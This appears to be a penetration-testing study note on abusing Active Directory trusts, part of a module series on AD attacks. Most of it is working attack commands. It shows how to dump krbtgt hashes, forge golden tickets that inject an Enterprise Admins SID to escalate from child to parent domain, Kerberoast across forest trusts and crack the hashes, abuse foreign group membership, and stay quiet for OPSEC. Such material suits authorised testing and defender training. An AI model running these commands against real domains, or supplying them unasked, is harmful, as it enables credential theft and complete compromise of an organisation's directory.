Trusts are the under-audited seam of most AD estates. M&A integrations, legacy subsidiaries, and MSP relationships leave bidirectional trusts that nobody’s reviewed since Day 1. If the principal domain is locked down, enumerate every trust and hunt for the end-around.
Trust Types
| Type | Direction | Transitive | Notes |
|---|---|---|---|
| Parent-child | Two-way | Yes | Intra-forest; auto-created with new child. No SID filtering. |
| Tree-root | Two-way | Yes | Intra-forest, new tree in same forest. |
| Cross-link / shortcut | Configurable | Yes | Between child domains, speeds auth. |
| Forest | One/two-way | Yes (within forest) | Between two forest roots; SID filtering enforced. |
| External | One/two-way | No | Between domains in separate forests; SID filtering default-on. |
| Realm | One/two-way | Config | AD ↔ non-Windows Kerberos (MIT/Heimdal). |
SID History & SID Filtering
sidHistorywas built for cross-domain migrations — the old SID rides with the user into the new domain so ACLs keep resolving.- Within a forest (parent-child, tree-root) SID filtering is not applied → the ExtraSids attack works.
- Across forests (external, forest) SID filtering is on by default → foreign SIDs in the PAC get stripped.
- Quarantined (external) trusts enforce even stricter filtering than standard forest trusts.
Enumerating Trusts
# PowerView
Get-DomainTrust # single-domain view
Get-DomainTrustMapping # recursive — multi-hop paths
Get-ForestTrust
# Native AD module (LOLBin, less noisy)
Import-Module ActiveDirectory
Get-ADTrust -Filter *
# Fully signed, scriptless
nltest /domain_trusts /all_trusts /v
netdom query /domain:corp.local trust# Impacket / bloodhound-python
bloodhound-python -d corp.local -dc DC01 -c All -u user -p pass
# Then in BloodHound GUI: pre-built query "Map Domain Trusts"First check
Get-DomainTrustMappingis the single best query — it walks every trust outward, including reverse edges, and surfaces trusts the client likely forgot existed.
ExtraSids: Child → Parent (Intra-Forest)
Full control of a child domain (krbtgt NT hash) → forge a golden ticket for the child, inject the parent’s Enterprise Admins SID (S-1-5-21-<parent>-519) into ExtraSids, authenticate to the parent DC as EA. Works because intra-forest SID filtering is off.
Required data points
- Child domain’s krbtgt NT (or AES256) hash
- Child domain SID
- Parent domain’s Enterprise Admins SID (
<parent-domain-SID>-519) - Child FQDN
- A target username (doesn’t need to exist)
Linux (Impacket)
# 1. krbtgt hash (needs DA in child)
impacket-secretsdump child.corp.local/admin@CHILD-DC -just-dc-user CHILD/krbtgt
# 2. Child SID
impacket-lookupsid child.corp.local/admin@CHILD-DC | grep "Domain SID"
# 3. Parent Enterprise Admins SID
impacket-lookupsid child.corp.local/admin@PARENT-DC | grep -B12 "Enterprise Admins"
# 4. Forge
impacket-ticketer -nthash <krbtgt-NT> \
-domain CHILD.CORP.LOCAL \
-domain-sid S-1-5-21-<child> \
-extra-sid S-1-5-21-<parent>-519 \
hacker
# 5. Use
export KRB5CCNAME=hacker.ccache
impacket-psexec -k -no-pass CHILD.CORP.LOCAL/hacker@parent-dc.corp.local -target-ip <PARENT-DC-IP>Windows (Mimikatz / Rubeus)
# 1. krbtgt
mimikatz # lsadump::dcsync /user:CHILD\krbtgt
# 2/3. SIDs
Get-DomainSID
Get-DomainGroup -Domain corp.local -Identity "Enterprise Admins" | select objectsid
# 4. Forge + PTT (Mimikatz)
mimikatz # kerberos::golden /user:hacker /domain:child.corp.local ^
/sid:<child-SID> /krbtgt:<krbtgt-NT> ^
/sids:S-1-5-21-<parent>-519 /ptt
# 4. Forge + PTT (Rubeus)
.\Rubeus.exe golden /rc4:<krbtgt-NT> /domain:child.corp.local ^
/sid:<child-SID> /sids:S-1-5-21-<parent>-519 /user:hacker /ptt
# 5. Prove it
mimikatz # lsadump::dcsync /user:CORP\Administrator /domain:corp.localAutomated
impacket-raiseChild -target-exec <PARENT-DC-IP> CHILD.CORP.LOCAL/adminWarning
raiseChild.pyis loud and noisy (smbexec-style service creation). Build the chain manually on engagements that care about OPSEC.
Cross-Forest Trust Abuse
Across a forest trust SID filtering is enforced, so ExtraSids is off the table. Three other paths remain:
1. Kerberoast across the trust
Service accounts in the trusted forest are fair game — weak passwords crack the same.
# Rubeus
.\Rubeus.exe kerberoast /domain:trusted.local /user:mssqlsvc /nowrap# Impacket
impacket-GetUserSPNs -request -target-domain trusted.local corp.local/user -outputfile cross.hash
hashcat -m 13100 cross.hash /usr/share/wordlists/rockyou.txt2. Foreign group / ACL membership
Only Domain Local groups can hold foreign-forest principals. Audit them after any merger — a foreign DA sometimes sits straight in Administrators on the other side.
Get-DomainForeignGroupMember -Domain trusted.local
Get-DomainForeignUser -Domain trusted.local
Convert-SidToName S-1-5-21-...-500 # resolve SIDs
# Verify with a real auth
Enter-PSSession -ComputerName dc.trusted.local -Credential corp\administrator3. Unconstrained delegation on a trusted-forest DC
If a DC in the trusted forest has unconstrained delegation and you can coerce auth (PrinterBug / PetitPotam / dfscoerce), its TGT gets forwarded — hand it back for a Golden/TGS and pivot.
Get-DomainComputer -Unconstrained -Domain trusted.localLinux-Side BloodHound Collection
# Edit /etc/resolv.conf to point at the target DC first
bloodhound-python -d trusted.local -dc dc.trusted.local -c All \
-u user@corp.local -p 'Password!'
zip -r trusted.zip *.json
# Upload to BloodHound GUI, run "Shortest Paths to Domain Admins from Foreign"Takeaways
- Trust direction and transitivity dictate what’s reachable — map before attacking.
- Intra-forest: child DA = forest EA via ExtraSids. Always.
- Cross-forest: Kerberoast across, hunt foreign group membership, look for unconstrained delegation on the far-side DCs.
- Verify any cross-trust path with a real auth before writing it up.
- Flag any trust the client isn’t tracking — that’s a finding on its own.
Related
- 19 · Active Directory Enumeration & Attacks — module index
- 00 · Cheatsheet & Checklist
- AD Fundamentals
- Core Protocols
- External Recon & Initial Enumeration
- LLMNR & NBT-NS Poisoning
- Password Policy & User Lists
- Password Spraying
- Credentialed Enumeration (Linux)
- Credentialed Enumeration (Windows)
- Kerberoasting & AS-REP Roasting
- ACL Abuse
- Lateral Movement & Attacks
- Hardening & Detection
